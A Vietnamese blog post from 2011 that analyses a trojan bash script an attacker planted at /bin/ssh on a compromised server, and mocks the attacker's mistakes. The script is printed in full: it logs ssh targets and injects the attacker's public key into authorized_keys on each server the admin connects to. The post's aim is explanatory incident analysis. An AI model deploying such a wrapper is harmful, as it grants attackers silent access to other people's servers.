28 Jul 2011

Thông minh và ngu ngốc

Đầu tiên các bạn hãy đọc script ngắn bên dưới

#!/usr/bin/env bash                                                            
SSH=`which ssh`; echo $@ >> /dev/shm/.h ; $SSH $@ "[ ! -f /dev/shm/.z ] && echo "a" > /dev/shm/.z && echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDxTOlT9QywvpMMuohn+S2kKp9XmQRIEh4Pba3VJWB7S5fk/l1Qhi5n1M6OOd2/N4GAxgVAk8ylcVcJJJ7ErPGJSB0BgWeuiM7lszYwy9KOUZdliqGnCCFUSv/zzqlCJ1DLXdlnn1jbBlq1WNphORiZAx8ZJwUkR8SByT21WtLtcugx3H0IdJOR9ZkGZzAtnCFb/DY8NRIQ4SRnlvqColZg2LpY1EcsClmYIYpxXlm6yQ7phP1gqBwGIcPgUEgDt8YY+nO1jNEr3/vV5z14zXXoTfDb5MimfgqwkeIY+Ak6I+CLoq3p79xY1IVxNCI5a5h7dsffoao23o45fojfdfDDAd55 fuckeratnowhere" >> .ssh/authorized_keys"; $SSH $@
Nếu có ai không hiểu script trên nói gì thì mình sẽ giải thích. Script trên đặt một biến SSH có nội dung là đường dẫn tới command ssh trên hệ thống đang chạy command trên, sau đó đưa tham số truyền vào sau command (thường sẽ là IP chúng ta cần ssh tới) vào một file log có tên là .h ở thư mục /dev/shm, tiếp theo đó, thực thi lệnh ssh tới server với IP trên, kiểm tra sự tồn tại của file .z ở thư mục /dev/shm, nếu không có, thì tạo file .z và đưa nội dụng public key vào file authorized_key, và trở lại thực thi câu lệnh ssh như bình thường.

Nội dung command trên được một bạn so-called hacker sau khi bằng cách nào đó up được shell lên một server đã lưu ở /bin/ssh.
Vì sao đặt ở /bin/ssh ?

hungnv@tinytux ~ $ echo $PATH
/bin:/usr/local/bin:/usr/bin:/opt/bin:/usr/x86_64-pc-linux-gnu/gcc-bin/4.4.5:/usr/lib/:/usr/sbin/:/sbin:/opt/:/usr/libexec:/home/hungnv/bin

Giả dụ như $PATH của bạn như trên, thì khi thực thi lệnh ssh tới một server, /bin/ssh sẽ được thực thi thay vì /usr/bin/ssh thực sự.
Người quản trị server này bất cứ lúc nào cần ssh tới một server khác khi đang đứng trên server đã bị tấn công bên trên, nghiễm nhiên gán quyền cho kẻ tấn công login vào server đó mà không cần chứng thực.
Kẻ tấn công còn thông minh ở chỗ ghi lại log ở file /dev/shm/.h, để có thể biết được System admin đã giúp mình owned được bao nhiêu server. Phải nói rằng hắn ta rất thông minh,

Nhưng tiêu đề bài post là thông minh và ngu ngốc?
Điểm ngu ngốc thứ nhất, kẻ tấn công dùng Windows (và có thể là notepad của Windows) để soạn script trên. Vô tình Windows có khuyến mãi thêm vài kí tự đặc biệt, thông thường dos2unix $FILENAME sẽ giải quyết được, nhưng vì nôn nóng, hắn quên mất. Do đó khi bash shell gặp kí tự đặc biệt trên, không hiểu và báo Bad interpreter , command ssh không thực hiện được. Và dĩ nhiên ssh tự nhiên không thực hiện được thì theo thói quen, người quản trị sẽ
1. which ssh
2. file /bin/ssh
/bin/ssh: a bash script text executable

3. cat /bin/ssh
và wow, someone fucked my server!!!!!!!!!!!
Điểm ngu ngốc thứ 2: đáng ra hắn phải kiểm tra script trên có hoạt động được không trước khi upload lên server (có lẽ do quá tự tin chăng?)

Nói tóm lại, người quản trị hệ thống này may mắn quá, vì gặp được một anh thông minh đúng chỗ và ngu ngốc cũng đúng chỗ ;).


No comments:

Disqus